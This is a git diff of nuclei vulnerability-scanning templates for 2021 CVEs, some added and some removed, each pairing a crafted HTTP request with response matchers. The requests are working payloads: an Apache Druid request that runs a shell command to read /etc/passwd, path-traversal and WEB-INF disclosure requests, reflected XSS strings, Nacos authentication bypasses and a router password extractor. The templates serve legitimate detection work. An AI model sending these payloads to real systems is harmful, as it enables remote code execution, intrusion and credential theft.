cve-id: CVE-2021-24407 - cwe-id: CWE-79 - -requests: - - raw: - - | - POST /wp-admin/admin-ajax.php HTTP/1.1 - Host: {{Hostname}} - Accept: */* - Content-Type: application/x-www-form-urlencoded - - action=tie_ajax_search&query[]= - - matchers-condition: and - matchers: - - - type: word - words: - - '' - part: body - - - type: word - part: header - words: - - text/html - - - type: status - status: - - 200 diff --git a/nuclei-templates/CVE-2021/CVE-2021-25646.yaml b/nuclei-templates/CVE-2021/CVE-2021-25646.yaml new file mode 100644 index 0000000000..726db1c2e9 --- /dev/null +++ b/nuclei-templates/CVE-2021/CVE-2021-25646.yaml @@ -0,0 +1,78 @@ +id: CVE-2021-25646 + +info: + name: Apache Druid RCE + author: pikpikcu + severity: critical + reference: https://paper.seebug.org/1476/ + description: | + Apache Druid is a column-oriented open source distributed data storage written in Java, designed to quickly obtain large amounts of event data and provide low-latency queries on the data. + Apache Druid lacks authorization and authentication by default. Attackers can send specially crafted requests to execute arbitrary code with the privileges of processes on the Druid server. + tags: cve,cve2021,apache,rce + +requests: + - raw: + - | + POST /druid/indexer/v1/sampler HTTP/1.1 + Host: {{Hostname}} + User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0 + Content-Type: application/json + Content-Length: 1006 + Connection: close + + { + "type":"index", + "spec":{ + "ioConfig":{ + "type":"index", + "firehose":{ + "type":"local", + "baseDir":"/etc", + "filter":"passwd" + } + }, + "dataSchema":{ + "dataSource":"odgjxrrrePz", + "parser":{ + "parseSpec":{ + "format":"javascript", + "timestampSpec":{ + + }, + "dimensionsSpec":{ + + }, + "function":"function(){var hTVCCerYZ = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(\"/bin/sh`@~-c`@~cat /etc/passwd\".split(\"`@~\")).getInputStream()).useDelimiter(\"\\A\").next();return {timestamp:\"4137368\",OQtGXcxBVQVL: hTVCCerYZ}}", + "":{ + "enabled":"true" + } + } + } + } + }, + "samplerConfig":{ + "numRows":10 + } + } + + matchers-condition: and + matchers: + - type: status + status: + - 200 + - type: word + words: + - "application/json" + part: header + + - type: word + words: + - "numRowsRead" + - "numRowsIndexed" + part: body + condition: and + + - type: regex + regex: + - "root:[x*]:0:0:" + part: body diff --git a/nuclei-templates/CVE-2021/CVE-2021-25864.yaml b/nuclei-templates/CVE-2021/CVE-2021-25864.yaml new file mode 100644 index 0000000000..25fbcc58c2 --- /dev/null +++ b/nuclei-templates/CVE-2021/CVE-2021-25864.yaml @@ -0,0 +1,31 @@ +id: CVE-2021-25864 +info: + name: Hue Magic - Directory Traversal + author: 0x_Akoko + severity: high + description: node-red-contrib-huemagic 3.0.0 is affected by hue/assets/..%2F Directory Traversal.in the res.sendFile API, used in file hue-magic.js, to fetch an arbitrary file. + reference: + - https://github.com/Foddy/node-red-contrib-huemagic/issues/217 + - https://www.cvedetails.com/cve/CVE-2021-25864 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cve-id: CVE-2021-25864 + cwe-id: CWE-22 + tags: cve,cve2021,huemagic,lfi + +requests: + - method: GET + path: + - "{{BaseURL}}/hue/assets/..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2fpasswd" + + matchers-condition: and + matchers: + + - type: regex + regex: + - "root:[x*]:0:0" + + - type: status + status: + - 200 diff --git a/nuclei-templates/CVE-2021/cve-2021-26086.yaml b/nuclei-templates/CVE-2021/CVE-2021-26086.yaml similarity index 100% rename from nuclei-templates/CVE-2021/cve-2021-26086.yaml rename to nuclei-templates/CVE-2021/CVE-2021-26086.yaml diff --git a/nuclei-templates/CVE-2021/CVE-2021-26722.yaml b/nuclei-templates/CVE-2021/CVE-2021-26722.yaml deleted file mode 100644 index 0396e2cedf..0000000000 --- a/nuclei-templates/CVE-2021/CVE-2021-26722.yaml +++ /dev/null @@ -1,26 +0,0 @@ -id: CVE-2021-26722 -info: - name: LinkedIn Oncall 1.4.0 XSS - author: pikpikcu - severity: medium - description: LinkedIn Oncall through 1.4.0 allows reflected XSS via /query because of mishandling of the "No results found for" message in the search bar. - reference: https://github.com/linkedin/oncall/issues/341 - tags: cve,cve2021,linkedin,xss - issues: https://github.com/linkedin/oncall/issues/341 -requests: - - method: GET - path: - - "{{BaseURL}}/query/%3Cimg%20src=x%20onerror=alert(document.domain)%3E/all" - matchers-condition: and - matchers: - - type: status - status: - - 200 - - type: word - words: - - "" - part: body - - type: word - words: - - "text/html" - part: header diff --git a/nuclei-templates/CVE-2021/CVE-2021-26812.yaml b/nuclei-templates/CVE-2021/CVE-2021-26812.yaml deleted file mode 100644 index c6316beaa3..0000000000 --- a/nuclei-templates/CVE-2021/CVE-2021-26812.yaml +++ /dev/null @@ -1,32 +0,0 @@ -id: CVE-2021-26812 - -info: - name: Moodle jitsi plugin XSS - author: aceseven (digisec360) - description: Cross Site Scripting (XSS) in the Jitsi Meet 2.7 through 2.8.3 plugin for Moodle via the "sessionpriv.php" module. This allows attackers to craft a malicious URL, which when clicked on by users, can inject javascript code to be run by the application. - severity: medium - tags: cve,cve2021,moodle,jitsi,xss - reference: | - - https://github.com/udima-university/moodle-mod_jitsi/issues/67 - - https://nvd.nist.gov/vuln/detail/CVE-2021-26812 - -requests: - - method: GET - path: - - "{{BaseURL}}/mod/jitsi/sessionpriv.php?avatar=https%3A%2F%2F{{Hostname}}%2Fuser%2Fpix.php%2F498%2Ff1.jpg&nom=test_user%27)%3balert(document.domain)%3b//&ses=test_user&t=1" - - matchers-condition: and - matchers: - - type: word - part: body - words: - - "alert(document.domain);" - - - type: status - status: - - 200 - - - type: word - part: header - words: - - "MoodleSession" \ No newline at end of file diff --git a/nuclei-templates/CVE-2021/CVE-2021-27309.yaml b/nuclei-templates/CVE-2021/CVE-2021-27309.yaml new file mode 100644 index 0000000000..9c1806567b --- /dev/null +++ b/nuclei-templates/CVE-2021/CVE-2021-27309.yaml @@ -0,0 +1,36 @@ +id: CVE-2021-27309 +info: + name: Clansphere CMS 2011.4 - Reflected XSS + author: edoardottt + severity: medium + description: | + Clansphere CMS 2011.4 allows unauthenticated reflected XSS via "module" parameter. + reference: + - https://github.com/xoffense/POC/blob/main/Clansphere%202011.4%20%22module%22%20xss.md + - https://nvd.nist.gov/vuln/detail/CVE-2021-27309 + - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27309 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 6.1 + cve-id: CVE-2021-27309 + cwe-id: CWE-79 + metadata: + verified: true + tags: cve,cve2021,clansphere,xss,cms,unauth +requests: + - method: GET + path: + - "{{BaseURL}}/mods/clansphere/lang_modvalidate.php?language=language&module=module%22>" + matchers-condition: and + matchers: + - type: word + part: body + words: + - '">.php' + - type: word + part: header + words: + - "text/html" + - type: status + status: + - 200 diff --git a/nuclei-templates/CVE-2021/CVE-2021-27330.yaml b/nuclei-templates/CVE-2021/CVE-2021-27330.yaml deleted file mode 100644 index f20665ee01..0000000000 --- a/nuclei-templates/CVE-2021/CVE-2021-27330.yaml +++ /dev/null @@ -1,45 +0,0 @@ -id: CVE-2021-27330 - -info: - name: Triconsole 3.75 XSS - author: pikpikcu,daffainfo - severity: medium - description: | - Triconsole Datepicker Calendar <3.77 is affected by cross-site scripting (XSS) in calendar_form.php. Attackers can read authentication cookies that are still active, which can be used to perform further attacks such as reading browser history, directory listings, and file contents. - reference: - - https://www.exploit-db.com/exploits/49597 - - https://nvd.nist.gov/vuln/detail/CVE-2021-27330 - - http://www.triconsole.com/ - - http://www.triconsole.com/php/calendar_datepicker.php - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - cvss-score: 6.1 - cve-id: CVE-2021-27330 - cwe-id: CWE-79 - metadata: - google-dork: intitle:TriConsole.com - PHP Calendar Date Picker - verified: "true" - tags: cve,cve2021,triconsole,xss - -requests: - - method: GET - path: - - '{{BaseURL}}/calendar/calendar_form.php/">' - - matchers-condition: and - matchers: - - type: word - part: body - words: - - '' - - 'TriConsole.com - PHP Calendar Date Picker' - condition: and - - - type: word - part: header - words: - - "text/html" - - - type: status - status: - - 200 diff --git a/nuclei-templates/CVE-2021/CVE-2021-27358.yaml b/nuclei-templates/CVE-2021/CVE-2021-27358.yaml new file mode 100644 index 0000000000..a1dfa1f06e --- /dev/null +++ b/nuclei-templates/CVE-2021/CVE-2021-27358.yaml @@ -0,0 +1,47 @@ +id: CVE-2021-27358 + +info: + name: Grafana Unauthenticated Snapshot Creation + author: pdteam,bing0o + severity: high + description: Grafana 6.7.3 through 7.4.1 snapshot functionality can allow an unauthenticated remote attacker to trigger a Denial of Service via a remote API call if a commonly used configuration is set. + reference: + - https://phabricator.wikimedia.org/T274736 + - https://grafana.com/docs/grafana/latest/release-notes/release-notes-7-4-2/ + - https://nvd.nist.gov/vuln/detail/CVE-2021-27358 + - https://github.com/grafana/grafana/blob/master/CHANGELOG.md + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H + cvss-score: 7.5 + cve-id: CVE-2021-27358 + cwe-id: CWE-306 + epss-score: 0.02156 + metadata: + max-request: 1 + shodan-query: title:"Grafana" + tags: cve,cve2021,grafana,unauth + +http: + - raw: + - | + POST /api/snapshots HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/json + + {"dashboard": {"editable":false,"hideControls":true,"nav":[{"enable":false,"type":"timepicker"}],"rows": [{}],"style":"dark","tags":[],"templating":{"list":[]},"time":{},"timezone":"browser","title":"Home","version":5},"expires": 3600} + + matchers-condition: and + matchers: + - part: body + type: word + words: + - '"deleteUrl":' + - '"deleteKey":' + condition: and + + - type: word + part: header + words: + - "application/json" + +# Enhanced by mp on 2022/04/12 diff --git a/nuclei-templates/CVE-2021/CVE-2021-27519.yaml b/nuclei-templates/CVE-2021/CVE-2021-27519.yaml deleted file mode 100644 index 97b1350cae..0000000000 --- a/nuclei-templates/CVE-2021/CVE-2021-27519.yaml +++ /dev/null @@ -1,38 +0,0 @@ -id: CVE-2021-27519 -info: - name: FUDForum 3.1.0 - Reflected XSS - author: kh4sh3i - severity: medium - description: | - A cross-site scripting (XSS) issue in FUDForum 3.1.0 allows remote attackers to inject JavaScript - reference: - - https://www.exploit-db.com/exploits/49942 - - https://nvd.nist.gov/vuln/detail/CVE-2021-27519 - - https://github.com/fudforum/FUDforum/issues/2 - - http://packetstormsecurity.com/files/162942/FUDForum-3.1.0-Cross-Site-Scripting.html - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - cvss-score: 6.1 - cve-id: CVE-2021-27519 - cwe-id: CWE-79 - metadata: - shodan-query: 'http.html:"Powered by: FUDforum"' - verified: "true" - tags: cve,cve2021,xss,fudforum -requests: - - method: GET - path: - - '{{BaseURL}}/index.php?SQ=0&srch=x"+onmouseover%3Dalert%281%29+x%3D"&t=search&btn_submit.x=0&btn_submit.y=0' - matchers-condition: and - matchers: - - type: word - part: body - words: - - 'highlightSearchTerms("x" onmouseover=alert(1) x="");' - - type: word - part: header - words: - - text/html - - type: status - status: - - 200 diff --git a/nuclei-templates/CVE-2021/cve-2021-27561.yaml b/nuclei-templates/CVE-2021/CVE-2021-27561.yaml similarity index 100% rename from nuclei-templates/CVE-2021/cve-2021-27561.yaml rename to nuclei-templates/CVE-2021/CVE-2021-27561.yaml diff --git a/nuclei-templates/CVE-2021/CVE-2021-27748.yaml b/nuclei-templates/CVE-2021/CVE-2021-27748.yaml deleted file mode 100644 index 23f9aef7c7..0000000000 --- a/nuclei-templates/CVE-2021/CVE-2021-27748.yaml +++ /dev/null @@ -1,33 +0,0 @@ -id: CVE-2021-27748 -info: - name: IBM WebSphere HCL Digital Experience - Server-Side Request Forgery - author: pdteam - severity: high - description: | - IBM WebSphere HCL Digital Experience is susceptible to server-side request forgery vulnerability that impacts on-premise deployments and containers. - reference: - - https://blog.assetnote.io/2021/12/26/chained-ssrf-websphere/ - - https://support.hcltechsw.com/csm?id=kb_article&sysparm_article=KB0095665 - - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27748 - classification: - cve-id: CVE-2021-27748 - metadata: - verified: true - shodan-query: http.html:"IBM WebSphere Portal" - tags: cve,cve2021,hcl,ibm,ssrf,websphere -requests: - - method: GET - path: - - '{{BaseURL}}/docpicker/internal_proxy/http/interact.sh' - - '{{BaseURL}}/wps/PA_WCM_Authoring_UI/proxy/http/interact.sh' - redirects: true - max-redirects: 2 - stop-at-first-match: true - matchers-condition: and - matchers: - - type: word - words: - - "Interactsh Server" - - type: status - status: - - 200 diff --git a/nuclei-templates/CVE-2021/cve-2021-27931.yaml b/nuclei-templates/CVE-2021/CVE-2021-27931.yaml similarity index 100% rename from nuclei-templates/CVE-2021/cve-2021-27931.yaml rename to nuclei-templates/CVE-2021/CVE-2021-27931.yaml diff --git a/nuclei-templates/CVE-2021/cve-2021-28150.yaml b/nuclei-templates/CVE-2021/CVE-2021-28150.yaml similarity index 100% rename from nuclei-templates/CVE-2021/cve-2021-28150.yaml rename to nuclei-templates/CVE-2021/CVE-2021-28150.yaml diff --git a/nuclei-templates/CVE-2021/CVE-2021-28164.yaml b/nuclei-templates/CVE-2021/CVE-2021-28164.yaml new file mode 100644 index 0000000000..be040c4bd7 --- /dev/null +++ b/nuclei-templates/CVE-2021/CVE-2021-28164.yaml @@ -0,0 +1,41 @@ +id: CVE-2021-28164 + +info: + name: Jetty Authorization Before Parsing and Canonicalization + author: noamrathaus + severity: medium + description: | + The default compliance mode allows requests with URIs that contain %2e or %2e%2e segments to access protected resources within the WEB-INF directory. For example a request to /context/%2e/WEB-INF/web.xml can retrieve the web.xml file. This can reveal sensitive information regarding the implementation of a web application. + reference: + - https://github.com/eclipse/jetty.project/security/advisories/GHSA-v7ff-8wcx-gmc5 + - https://github.com/vulhub/vulhub/tree/1239bca12c75630bb2033b728140ed5224dcc6d8/jetty + - https://lists.apache.org/thread.html/r780c3c210a05c5bf7b4671303f46afc3fe56758e92864e1a5f0590d0@%3Cjira.kafka.apache.org%3E + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N + cvss-score: 5.3 + cve-id: CVE-2021-28164 + cwe-id: CWE-200 + tags: cve,cve2021,jetty + +requests: + - method: GET + path: + - "{{BaseURL}}/%2e/WEB-INF/web.xml" + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + words: + - "" + - "java.sun.com" + part: body + condition: and + + - type: word + part: header + words: + - "application/xml" \ No newline at end of file diff --git a/nuclei-templates/CVE-2021/CVE-2021-28169.yaml b/nuclei-templates/CVE-2021/CVE-2021-28169.yaml deleted file mode 100644 index 09ad71064e..0000000000 --- a/nuclei-templates/CVE-2021/CVE-2021-28169.yaml +++ /dev/null @@ -1,37 +0,0 @@ -id: CVE-2021-28169 - -info: - name: Jetty Utility Servlets Information Disclosure - author: pikpikcu - severity: medium - reference: | - - https://twitter.com/sec715/status/1406787963569065988 - - https://nvd.nist.gov/vuln/detail/CVE-2021-28169 - description: | - For Eclipse Jetty versions <= 9.4.40, <= 10.0.2, <= 11.0.2, it is possible for requests to the ConcatServlet with a doubly encoded path to access protected resources within the WEB-INF directory. - tags: cve,cve2021,jetty - -requests: - - method: GET - path: - - "{{BaseURL}}/static?/%2557EB-INF/web.xml" - - "{{BaseURL}}/concat?/%2557EB-INF/web.xml" - - matchers-condition: and - matchers: - - - type: word - words: - - "application/xml" - part: header - - - type: word - words: - - "" - - "java.sun.com" - part: body - condition: and - - - type: status - status: - - 200 diff --git a/nuclei-templates/CVE-2021/CVE-2021-29156.yaml b/nuclei-templates/CVE-2021/CVE-2021-29156.yaml new file mode 100644 index 0000000000..b92aededf1 --- /dev/null +++ b/nuclei-templates/CVE-2021/CVE-2021-29156.yaml @@ -0,0 +1,21 @@ +id: CVE-2021-29156 + +info: + name: LDAP Injection In Openam + author: melbadry9,xelkomy + severity: high + tags: cve,cve2021,openam + description: The vulnerability was found in the password reset feature that OpenAM provides. When a user tries to reset his password, he is asked to enter his username then the backend validates whether the user exists or not through an LDAP query before the password reset token is sent to the user’s email. + reference: https://blog.cybercastle.io/ldap-injection-in-openam/ + +requests: + - method: GET + path: + - "{{BaseURL}}/openam/ui/PWResetUserValidation" + - "{{BaseURL}}/OpenAM-11.0.0/ui/PWResetUserValidation" + - "{{BaseURL}}/ui/PWResetUserValidation" + + matchers: + - type: dsl + dsl: + - 'contains(body, "jato.pageSession") && status_code==200' diff --git a/nuclei-templates/CVE-2021/CVE-2021-29441.yaml b/nuclei-templates/CVE-2021/CVE-2021-29441.yaml deleted file mode 100644 index ac947cde4f..0000000000 --- a/nuclei-templates/CVE-2021/CVE-2021-29441.yaml +++ /dev/null @@ -1,49 +0,0 @@ -id: CVE-2021-29441 - -info: - name: Nacos prior to 1.4.1 Authentication Bypass - description: | - This template only works on Nuclei engine prior to version 2.3.3 and version >= 2.3.5. - - In Nacos before version 1.4.1, when configured to use authentication (-Dnacos.core.auth.enabled=true) - Nacos uses the AuthFilter servlet filter to enforce authentication. This filter has a backdoor that - enables Nacos servers to bypass this filter and therefore skip authentication checks. - This mechanism relies on the user-agent HTTP header so it can be easily spoofed. - This issue may allow any user to carry out any administrative tasks on the Nacos server. - author: dwisiswant0 - severity: high - reference: https://securitylab.github.com/advisories/GHSL-2020-325_326-nacos/ - tags: nacos,auth-bypass,cve,cve2021 - -requests: - - raw: - - | - POST /nacos/v1/cs/configs?dataId=nacos.cfg.dataIdfoo&group=foo&content=helloWorld HTTP/1.1 - Host: {{Hostname}} - Accept: */* - - - | - POST /nacos/v1/cs/configs?dataId=nacos.cfg.dataIdfoo&group=foo&content=helloWorld HTTP/1.1 - Host: {{Hostname}} - Accept: */* - User-Agent: Nacos-Server - - req-condition: true - matchers-condition: and - matchers: - - type: dsl - dsl: - - "status_code_1 == 403" - - "status_code_2 == 200" - condition: and - - - type: dsl - dsl: - - "contains(body_1, 'Forbidden')" - - "body_2 == 'true'" - condition: and - - - type: word - words: - - "application/json" - part: header \ No newline at end of file diff --git a/nuclei-templates/CVE-2021/CVE-2021-29442.yaml b/nuclei-templates/CVE-2021/CVE-2021-29442.yaml deleted file mode 100644 index 9f495334b8..0000000000 --- a/nuclei-templates/CVE-2021/CVE-2021-29442.yaml +++ /dev/null @@ -1,39 +0,0 @@ -id: CVE-2021-29442 - -info: - name: Nacos prior to 1.4.1 Missing Authentication Check - author: dwisiswant0 - severity: high - description: | - In Nacos before version 1.4.1, the ConfigOpsController lets the user perform management operations like querying the database or even wiping it out. - While the /data/remove endpoint is properly protected with the @Secured annotation, the /derby endpoint is not protected and can be openly accessed by unauthenticated users. - These endpoints are only valid when using embedded storage (derby DB) so this issue should not affect those installations using external storage (e.g. mysql) - reference: - - https://securitylab.github.com/advisories/GHSL-2020-325_326-nacos/ - - https://github.com/alibaba/nacos/issues/4463 - - https://github.com/alibaba/nacos/pull/4517 - - https://github.com/advisories/GHSA-36hp-jr8h-556f - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - cvss-score: 7.5 - cve-id: CVE-2021-29442 - cwe-id: CWE-306 - tags: nacos,auth-bypass,cve,cve2021 - -requests: - - method: GET - path: - - "{{BaseURL}}/nacos/v1/cs/ops/derby?sql=select+st.tablename+from+sys.systables+st" - matchers-condition: and - matchers: - - type: status - status: - - 200 - - type: word - words: - - "application/json" - part: header - - type: regex - regex: - - "\"TABLENAME\":\"(?:(?:(?:(?:(?:APP_CONFIGDATA_RELATION_[PS]UB|SYS(?:(?:CONGLOMERAT|ALIAS|(?:FI|RO)L)E|(?:(?:ROUTINE)?|COL)PERM|(?:FOREIGN)?KEY|CONSTRAINT|T(?:ABLEPERM|RIGGER)|S(?:TAT(?:EMENT|ISTIC)|EQUENCE|CHEMA)|DEPEND|CHECK|VIEW|USER)|USER|ROLE)S|CONFIG_(?:TAGS_RELATION|INFO_(?:AGGR|BETA|TAG))|TENANT_CAPACITY|GROUP_CAPACITY|PERMISSIONS|SYSCOLUMNS|SYS(?:DUMMY1|TABLES)|APP_LIST)|CONFIG_INFO)|TENANT_INFO)|HIS_CONFIG_INFO)\"" - part: body diff --git a/nuclei-templates/CVE-2021/CVE-2021-29622.yaml b/nuclei-templates/CVE-2021/CVE-2021-29622.yaml new file mode 100644 index 0000000000..9ce1f43762 --- /dev/null +++ b/nuclei-templates/CVE-2021/CVE-2021-29622.yaml @@ -0,0 +1,28 @@ +id: CVE-2021-29622 + +info: + name: Prometheus v2.23.0 to v2.26.0, and v2.27.0 Open Redirect + author: geeknik + severity: medium + description: In 2.23.0, Prometheus changed its default UI to the New ui. To ensure a seamless transition, the URL's prefixed by /new redirect to /. Due to a bug in the code, it is possible for an attacker to craft an URL that can redirect to any other URL, in the /new endpoint. + reference: + - https://github.com/prometheus/prometheus/security/advisories/GHSA-vx57-7f4q-fpc7 + - https://github.com/prometheus/prometheus/releases/tag/v2.26.1 + - https://github.com/prometheus/prometheus/releases/tag/v2.27.1 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 6.1 + cve-id: CVE-2021-29622 + cwe-id: CWE-601 + tags: cve,cve2021,prometheus,redirect + +requests: + - method: GET + path: + - "{{BaseURL}}/new/newhttp://example.com" + + matchers: + - type: regex + regex: + - '(?m)^(?:Location\s*?:\s*?)(?:https?://|//)?(?:[a-zA-Z0-9\-_\.@]*)example\.com.*$' + part: header diff --git a/nuclei-templates/CVE-2021/CVE-2021-29625.yaml b/nuclei-templates/CVE-2021/CVE-2021-29625.yaml deleted file mode 100644 index 70287d1af1..0000000000 --- a/nuclei-templates/CVE-2021/CVE-2021-29625.yaml +++ /dev/null @@ -1,38 +0,0 @@ -id: CVE-2021-29625 - -info: - name: Adminer reflected XSS via the table parameter - author: daffainfo - severity: medium - description: Adminer is open-source database management software. A cross-site scripting vulnerability in Adminer versions 4.6.1 to 4.8.0 affects users of MySQL, MariaDB, PgSQL and SQLite. XSS is in most cases prevented by strict CSP in all modern browsers. The only exception is when Adminer is using a `pdo_` extension to communicate with the database (it is used if the native extensions are not enabled). In browsers without CSP, Adminer versions 4.6.1 to 4.8.0 are affected. The vulnerability is patched in version 4.8.1. As workarounds, one can use a browser supporting strict CSP or enable the native PHP extensions (e.g. `mysqli`) or disable displaying PHP errors (`display_errors`). - reference: - - https://sourceforge.net/p/adminer/bugs-and-features/797/ - - https://www.cvedetails.com/cve/CVE-2021-29625/ - - https://github.com/vrana/adminer/commit/4043092ec2c0de2258d60a99d0c5958637d051a7 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - cvss-score: 6.1 - cve-id: CVE-2021-29625 - cwe-id: CWE-79 - tags: cve,cve2021,adminer,xss - -requests: - - method: GET - path: - - '{{BaseURL}}/?server=db&username=root&db=mysql&table=event%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E' - - matchers-condition: and - matchers: - - type: word - words: - - "" - part: body - - - type: word - words: - - "text/html" - part: header - - - type: status - status: - - 200 diff --git a/nuclei-templates/CVE-2021/CVE-2021-30049.yaml b/nuclei-templates/CVE-2021/CVE-2021-30049.yaml deleted file mode 100644 index 6cff3a24b3..0000000000 --- a/nuclei-templates/CVE-2021/CVE-2021-30049.yaml +++ /dev/null @@ -1,37 +0,0 @@ -id: CVE-2021-30049 - -info: - name: SysAid Technologies 20.3.64 b14 Reflected XSS - author: daffainfo - severity: medium - description: SysAid 20.3.64 b14 is affected by Cross Site Scripting (XSS) via a /KeepAlive.jsp?stamp= URI. - reference: - - https://eh337.net/2021/03/30/sysaid/ - - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-30049 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - cvss-score: 6.1 - cve-id: CVE-2021-30049 - cwe-id: CWE-79 - tags: cve,cve2021,xss - -requests: - - method: GET - path: - - '{{BaseURL}}/KeepAlive.jsp?stamp=16170297%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E' - - matchers-condition: and - matchers: - - type: word - words: - - "" - part: body - - - type: word - part: header - words: - - "text/html" - - - type: status - status: - - 200 diff --git a/nuclei-templates/CVE-2021/CVE-2021-30151.yaml b/nuclei-templates/CVE-2021/CVE-2021-30151.yaml new file mode 100644 index 0000000000..4c58103107 --- /dev/null +++ b/nuclei-templates/CVE-2021/CVE-2021-30151.yaml @@ -0,0 +1,37 @@ +id: CVE-2021-30151 + +info: + name: Sidekiq 5.1.3 and 6.x-6.2.0 - Cross-Site Scripting + author: DhiyaneshDk + severity: medium + description: Sidekiq through 5.1.3 and 6.x through 6.2.0 allows XSS via the queue name of the live-poll feature when Internet Explorer is used. + reference: + - https://github.com/mperham/sidekiq/issues/4852 + - https://nvd.nist.gov/vuln/detail/CVE-2021-30151 + - https://lists.debian.org/debian-lts-announce/2022/03/msg00015.html + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 6.1 + cve-id: CVE-2021-30151 + cwe-id: CWE-79 + tags: cve,cve2021,xss,sidekiq + +requests: + - method: GET + path: + - '{{BaseURL}}/sidekiq/queues/"onmouseover="alert(nuclei)"' + matchers-condition: and + matchers: + - type: word + part: body + words: + - "onmouseover=\"alert('nuclei')" + + - type: word + part: header + words: + - "text/html" + + - type: status + status: + - 200 diff --git a/nuclei-templates/CVE-2021/CVE-2021-3017.yaml b/nuclei-templates/CVE-2021/CVE-2021-3017.yaml deleted file mode 100644 index 7a07931362..0000000000 --- a/nuclei-templates/CVE-2021/CVE-2021-3017.yaml +++ /dev/null @@ -1,43 +0,0 @@ -id: CVE-2021-3017 - -info: - name: Intelbras WIN 300/WRN 342 Credential Disclosure - author: pikpikcu - severity: high - description: Intelbras WIN 300 and WRN 342 devices through 2021-01-04 allows remote attackers to discover credentials by reading the def_wirelesspassword line in the HTML source code. - reference: - - https://poc.wgpsec.org/PeiQi_Wiki/%E7%BD%91%E7%BB%9C%E8%AE%BE%E5%A4%87%E6%BC%8F%E6%B4%9E/Intelbras/Intelbras%20Wireless%20%E6%9C%AA%E6%8E%88%E6%9D%83%E4%B8%8E%E5%AF%86%E7%A0%81%E6%B3%84%E9%9C%B2%20CVE-2021-3017.html - - https://nvd.nist.gov/vuln/detail/CVE-2021-3017 - - https://www.intelbras.com/pt-br/ajuda-download/faq/roteador-wireless-veloz-wrn-342 - - https://pastebin.com/cTYTf0Yn - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - cvss-score: 7.5 - cve-id: CVE-2021-3017 - tags: cve,cve2021,exposure,router - -requests: - - method: GET - path: - - "{{BaseURL}}/index.asp" - - matchers-condition: and - matchers: - - type: word - words: - - 'def_wirelesspassword =' - - 'Roteador Wireless' - part: body - condition: and - - - type: status - status: - - 200 - - extractors: - - type: regex - part: body - regex: - - 'def_wirelesspassword = "([A-Za-z0-9=]+)";' - -# Enhanced by mp on 2022/03/30 diff --git a/nuclei-templates/CVE-2021/cve-2021-30213.yaml b/nuclei-templates/CVE-2021/CVE-2021-30213.yaml similarity index 100% rename from nuclei-templates/CVE-2021/cve-2021-30213.yaml rename to nuclei-templates/CVE-2021/CVE-2021-30213.yaml diff --git a/nuclei-templates/CVE-2021/CVE-2021-31250.yaml b/nuclei-templates/CVE-2021/CVE-2021-31250.yaml deleted file mode 100644 index 1979dd2372..0000000000 --- a/nuclei-templates/CVE-2021/CVE-2021-31250.yaml +++ /dev/null @@ -1,36 +0,0 @@ -id: CVE-2021-31250 - -info: - name: CHIYU IoT XSS - author: geeknik - severity: medium - description: Several versions and models of CHIYU IoT devices are vulnerable to multiple Cross-Site Scripting flaws. - reference: - - https://gitbook.seguranca-informatica.pt/cve-and-exploits/cves/chiyu-iot-devices#cve-2021-31250 - - https://www.chiyu-tech.com/msg/message-Firmware-update-87.htm - - https://seguranca-informatica.pt/dancing-in-the-iot-chiyu-devices-vulnerable-to-remote-attacks/ - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N - cvss-score: 5.4 - cve-id: CVE-2021-31250 - cwe-id: CWE-79 - tags: cve,cve2021,chiyu,xss,iot - -requests: - - method: GET - path: - - "{{BaseURL}}/if.cgi?redirect=setting.htm&failure=fail.htm&type=ap_tcps_apply&TF_ip=443&TF_submask=0&TF_submask=%22%3E%3Cscript%3Ealert%28{{randstr}}%29%3C%2Fscript%3E&radio_ping_block=0&max_tcp=3&B_apply=APPLY" - headers: - Authorization: "Basic OmFkbWlu" - - redirects: true - matchers-condition: and - matchers: - - type: word - part: header - words: - - "text/html" - - type: word - part: body - words: - - "\">" diff --git a/nuclei-templates/CVE-2021/CVE-2021-3129.yaml b/nuclei-templates/CVE-2021/CVE-2021-3129.yaml deleted file mode 100644 index 2b15e89032..0000000000 --- a/nuclei-templates/CVE-2021/CVE-2021-3129.yaml +++ /dev/null @@ -1,89 +0,0 @@ -id: CVE-2021-3129 - -info: - name: Laravel with Ignition <= v8.4.2 Debug Mode - Remote Code Execution - author: z3bd,pdteam - severity: critical - description: Laravel version 8.4.2 and before with Ignition before 2.5.2 allows unauthenticated remote attackers to execute arbitrary code because of insecure usage of file_get_contents() and file_put_contents(). This is exploitable on sites using debug mode with Laravel before 8.4.2. 